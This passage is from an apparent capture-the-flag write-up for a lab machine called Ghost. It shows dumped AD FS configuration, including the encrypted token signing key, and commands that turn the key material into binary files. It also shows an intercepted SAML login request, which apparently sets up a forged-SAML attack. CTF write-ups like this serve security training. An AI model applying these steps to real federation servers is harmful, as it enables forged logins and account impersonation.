RpF3kRThbkS8ZadKpDH6FUDiaCtQ1l8mEC8511dTvfTHsRFO1j+wZweroWFGur4Is197IbdEiFVp/zDvChzWXy071fwwJQyGdOBNmra1sU8nAtHAfRgdurHiZowVkhLRZZf3UM76OOM8cvs46rv5F3K++b0F+cAbs/9aAgf49Jdy328jT0ir5Q+b3eYss2ScLJf02FiiskhYB9w7EcA+WDMu0aAJDAxhy8weEFh72VDBAZkRis0EGXrLoRrKU60ZM38glsJjzxbSnHsp1z1F9gZXre4xYwxm7J799FtTYrdXfQggTWqj+uTwV5nmGki/8CnZX23jGkne6tyLwoMRNbIiGPQZ4hGwNhoA6kItBPRAHJs4rhKOeWNzZ+sJeDwOiIAjb+V0FgqrIOcP/orotBBSQGaNUpwjLKRPx2nlI1VHSImDXizC6YvbKcnSo3WZB7NXIyTaUmKtV9h+27/NP+aChhILTcRe4WvA0g+QTG5ft9GSuqX94H+mX2zVEPD2Z5YN2UwqeA2EAvWJDTcSN/pDrDBQZD2kMB8P4Q7jPauEPCRECgy43se/DU+P63NBFTa5tkgmG2+E05RXnyP+KZPWeUP/lXOIA6PNvyhzzobx52OAewljfBizErthcAffnyPt6+zPdqHZMlfrkn+SY0JSMeR7pq0RIgZy0sa692+XtIcHYUcpaPl9hwRjE/5dpRtyt3w9fXR4dtf+rf+O2NI7h0l1xdmcShiRxHfp+9AZTz0H0aguK9aCZY7Sc9WR0X4nv0vSQB7fzFTNG+hOr0PcOh+KIETfiR9KUerB1zbpW+XEUcG9wCyb8OMc4ndpo1WbzLAn7WNDTY9UcHmFJFVmRGbLt2+Pe5fikQxIVLfRCwUikNeKY/3YiOJV3XhA6x6e2zjN3I/Tfo1/eldj0IbE7RP4ptUjyuWkLcnWNHZr8YhLaWTbucDI8R8MXAjZqNCX7WvJ5i+YzJ8S+IQbM8R2DKeFXOTTV3w6gL1rAYUpF9xwe6CCItxrsP3v59mn21bvj3HunOEJI3aAoStJgtO4K+SOeIx+Fa7dLxpTEDecoNsj6hjMdGsrqzuolZX/GBF1SotrYN+W63MYSiZps6bWpc8WkCsIqMiOaGa1eNLvAlupUNGSBlcXNogdKU0R6AFKM60AN2FFd7n4R5TC76ZHIKGmxUcq9EuYdeqamw0TB4fW0YMW4OZqQyx6Z8m3J7hA2uZfB7jYBl2myMeBzqwQYTsEqxqV3QuT2uOwfAi5nknlWUWRvWJl4Ktjzdv3Ni+8O11M+F5gT1/6E9MfchK0GK2tOM6qI8qrroLMNjBHLv4XKAx6rEJsTjPTwaby8IpYjg6jc7DSJxNT+W9F82wYc7b3nBzmuIPk8LUfQb7QQLJjli+nemOc20fIrHZmTlPAh07OhK44/aRELISKPsR2Vjc/0bNiX8rIDjkvrD/KaJ8yDKdoQYHw8G+hU3dZMNpYseefw5KmI9q+SWRZEYJCPmFOS+DyQAiKxMi+hrmaZUsyeHv96cpo2OkAXNiF3T5dpHSXxLqIHJh3JvnFP9y2ZY+w9ahSR6Rlai+SokV5TLTCY7ah9yP/W1IwGuA4kyb0Tx8sdE0S/5p1A63+VwhuANv2NHqI+YDXCKW4QmwYTAeJuMjW/mY8hewBDw+xAbSaY4RklYL85fMByon9AMe55Jaozk8X8IvcW6+m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4+c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV+KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz+qBxbZo+ZzJxeqxgROdxc+q5Qy6c+CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5+OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd+ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW+aKEeiWiYDxpOzR8Wmcn+Th0hDD9+P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/+VekgfN+ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-] 
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


    Access Policy Parameter: 
    
    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

We’ve gathered several things that’s useful to us.

I’ll grab the binary of our dkmPK

1
PS /home/w1ld/ALPHA/ghost> echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | tr -d '-' | xxd -r -p > ./dkmKey.bin

And the same for the Signing Key

1
PS /home/w1ld/ALPHA/ghost> echo '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' | base64 -d > EncryptedPfx.bin

Visiting the endpoint we’re greeted by a login page that redirects us to an AD Federation login.

Attempting to login using our justin.bradley credentials we’re greeted with the followng unauthorized page.

However taking a look at our web requests we find the POST to /adfs/saml/postResponse with the SAMLResponse value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 6747
Origin: https://federation.ghost.htb
Connection: keep-alive
Referer: https://federation.ghost.htb/
Cookie: connect.sid=s%3AAe_Kpy6kP84394IMoyDNme54D5Rg8bVJ.SeuxqejiSYl3wOQRNjHcLaOJ%2FVm2O6R4huzKSGxt86w
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Priority: u=0, i

SAMLResponse=PHNhbWxwOlJlc3BvbnNlIElEPSJfZjcxYmU3ZWYtNzU3NC00YjEyLTliN2ItNWFjZDFkMGU5MjJmIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoxODowMy41NzVaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIiBJblJlc3BvbnNlVG89Il82YjRkOTk0OGRjZDk1MTgwNjdiYWI5YjQyYTgzYzMzYjgzYWI0NDY2IiB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIgLz48L3NhbWxwOlN0YXR1cz48QXNzZXJ0aW9uIElEPSJfYzg0OWM0OTctYzY4ZC00N2E2LTkyNTktY2MyYWI1YjE0OWUyIiBJc3N1ZUluc3RhbnQ9IjIwMjYtMDktMjRUMTM6MTg6MDMuNDUwWiIgVmVyc2lvbj0iMi4wIiB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI%2BPElzc3Vlcj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIiAvPjxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxkczpSZWZlcmVuY2UgVVJJPSIjX2M4NDljNDk3LWM2OGQtNDdhNi05MjU5LWNjMmFiNWIxNDllMiI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8%2BPGRzOkRpZ2VzdFZhbHVlPkxvVmg2bklOVGpObFV3c0FScWtkNHNQRTBiR2hwMXVpUzIwUkhpTXpaRzA9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPkhEZlR4L2U5TDlrT2J4Y0RzVENYS3BVV3FhSlFmZVRETGFLWnoxa0lLcTNkc1h0TXhlQ0hMWWQ0K1BMcXV0c3M5b0RYNmFkZ2lpR1FETDJvRk11MlZVRG9zSDNDdWVoWWh3eXp3MDRGV2pKSmtMME9hem5HY2xsS2s1OE5YTDN1Uko1NHFpdFdCMXk4S01VanhKY0IxVGlvSFVGaUNBY2dKaWg0cVI4bm9TYm0rTXFEWVIvcUJaL1BCOHFlYisreHVGTUNOdGx6SmZYY1R3cktBL2NBdWRWVkNFajE0ZHJBUndVUWNydGxaYlJ2V2dEdm5DUGI1WlVMTGVhaVA3eTZRRGFjSi93d09SWHZmcGxVMkpneVB5Q0tpOHVMVDRzYXVtSGI3TFhOUXFvakVWa1VDOFpXd2pNWm02MzJOeVhDazZxQi85eGpXY2lUU0FzMm93Z1BGN0QzWWF3YlkrdE95NDJTZGoyeVZrQmROcXBDUU9hRTNuVlgxVTdnbUg5MjRTUFdJTnlwSit6bEIzMThON0JicThjL1pLM2pISzJ5aFpydGZNcnd1b3JUV29EL2hHc0kyTWgza0hYbjZMdFBSbWVLUE5ncjdQcEhwb01PSEk4N0c1cGxGSGtZVURMZ0UvOGdDdE4xUlZPTDljdVptNC9qQlRhYWhYK1daYmN4TERGc205NnVTaFU2RFRWREx2UVAyWGxnQzVFS21oaXFhNm1uQ0N1eDNwdFE2dDFRN1U5dFZXMmdTelUwcjRTWng0NWRYa2hBb21heG5XMVMrZW9ESFE2ancyUE1nR1U5QTVHVlJFR3kzK2M4TEs5M1k1ZDV2ZVhvOTc5NTRZMjJrdTZ3WVZMNkIwcmFQS0JGSlpLMTZocDJoSG5tNnduREdpTTBBQmMzZmtRPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPEtleUluZm8geG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpYNTA5RGF0YT48ZHM6WDUwOUNlcnRpZmljYXRlPk1JSUU1akNDQXM2Z0F3SUJBZ0lRSkZjV3dNeWJSYTVPNCtXTzV0V29HVEFOQmdrcWhraUc5dzBCQVFzRkFEQXVNU3d3S2dZRFZRUURFeU5CUkVaVElGTnBaMjVwYm1jZ0xTQm1aV1JsY21GMGFXOXVMbWRvYjNOMExtaDBZakFnRncweU5EQTJNVGd4TmpFM01UQmFHQTh5TVRBME1EVXpNREUyTVRjeE1Gb3dMakVzTUNvR0ExVUVBeE1qUVVSR1V5QlRhV2R1YVc1bklDMGdabVZrWlhKaGRHbHZiaTVuYUc5emRDNW9kR0l3Z2dJaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQ0R3QXdnZ0lLQW9JQ0FRQytBQU9JZkVxdGxZY24xNTNMMUJ2R1FnRHlYVG5Zd1RSenNLNTkrekUxemdHS085TjVuYjhGaytkYUtwV0xRYWlIN29ESGFlbncvUWF4Qmc1cWRlRFltRDNvejhLeWFBMXlnWUJyem00d1c3RmY4N3JLOUZlNUo1L2g2VzlnNzQ5aDVCSXFQUU9wMGw2czFyZnVtT2NjTjR5Ylc5NUVXTkwwdnVRWHZDK0tRNEQ0Z01YdThtQ0dweHR2SUw4aWxOdEp1SUczT1JZU0toUmFsMHl5SmVPaEc0eGdsclpKRjE4cDl3aG5FNm9tZ2dtQTZuMnNoRGsvdHZUWWppaTVlNy9pY1dUS2tyc01DcGFLVU5rN214ZE1aaFFhYjdTbWZLclpONHBSRDdkVmc1enpJeUQ3VXpTOUNITEM2eE56cS9aMGh1YU9hSmhPU2RKU2dhdC9ic0c4bmJ4MTlIRC8reXBXOUoyTHRORnVnZFd0bVVCV0RPUUJZVmhCOFNnNFZFR2dQOWp5SXRISDJienNEZmpSZEo4RTF1TkpXUC9rUUExK3dZbE9kZExxVTNiMElzQ3ZsQThFdllXMFQxUnN1NzdvNHgvdzBnV2Iwb1FQRUl6N3o5NzNiNDk2d3FRdDNEbnlmZU8zbFhYZlpOY3ZhajVLQ1AyVHRHQitLc2hGOXBrSVB4cTdGMmdNaDdRanhqUkhzQTI5VjhqRm85Z0xEN2tQVmljYUlVZHNnaUZIbllRRjE0YTUySnRSMVY1aU4raDk1Smt1dUVxUVdEQkhBdlBFQkJaa0VaSCs1eVQrYUNGWFhYK0JwUHQzUUdqWUxlSlU4Q0ZzTXRuOFFWTFl2TGRjVlJzVW5SaC9XSGlYd0pPT0VWRUNhOXc3L3lWbmhhbENOQngxRS9sNEtRSURBUUFCTUEwR0NTcUdTSWIzRFFFQkN3VUFBNElDQVFBV1lLWlczY0RDQk82ZFQzeWZsM09jdXlwMUxWS1ZJKzlwRngvYmJXcFdqU2RoNmIzOUxUeHhEN0ZZVXRodVdQWjNyRjRHK0ZkTUZISEN4M1lwRW1VRm5FTEtzWHFoWjk4OUFYNThJLzNtYmZVbEtXZUlQTFNMa3ArZVJab01Ka3Q3azEvS1h0RGFzT1FuME5zZ1lFb3dMQkltTUNNdTl1dWpuQ21GT3dIUC9JQmhnWVFNSGg0NkJ6U1hXUDNpOFZYYnJSdERwby9jLy9PRkpoR21ubkY4WlBtaTR4dHpmU0RCcFZLcXdWTHA3OENndU14alFkK2JkVWI0NTU4OFpKNENMc1BkUlFwMzBXSjEvQ05JYWVudkpXdEEyRzVJWnc1VTBFV0NKTG9ZSldGczlpeU9hMS95NTVydVc2SjhsSUdEMHdtb0VlQ2w5Q0gxRWQ0ZHpVZFVYZjFNQkNZUDNYOTJpYXh6VUUwdXBHZC8xUW82SFR5eU9sV3VBd3JrVDJWSEVMS1ZaS09nOCtkbHk5N2d5WklmVXRRd0lrUHdObDh2bzA0Y2ZqK2h6T3ZCelBLQUFZaDE0TkxndmVBSS9EcU1uTzBPS08rdzFIQkt3NjROQkNuOGdvYXpGK1B1RmZVTzB5TkhGTDRreE1wY2FwNmlldjZnM0JYQ1NEd2ZxVFVPRXVFczdxOW9ZS2dxMnFuTlZPVEloaEluTVhCekVtNmlQMTNqZnVPb1hKZFBBbkVVWG40eTV5d0E5N3J0YkduWkVQeXgxZjFFa1gvaGJxQlA0dm9ndjlrbHRhVUVFVlhrUytoUHB4Wm1leENOckJEMXE3R0ovNTBlYllsQzBDZXY4dzZNczh0TTBPcnZwcEdZbFdydFB3ZXZFdmZpUmt3QkxHN0VNQW5MU3c9PTwvZHM6WDUwOUNlcnRpZmljYXRlPjwvZHM6WDUwOURhdGE%2BPC9LZXlJbmZvPjwvZHM6U2lnbmF0dXJlPjxTdWJqZWN0PjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIEluUmVzcG9uc2VUbz0iXzZiNGQ5OTQ4ZGNkOTUxODA2N2JhYjliNDJhODNjMzNiODNhYjQ0NjYiIE5vdE9uT3JB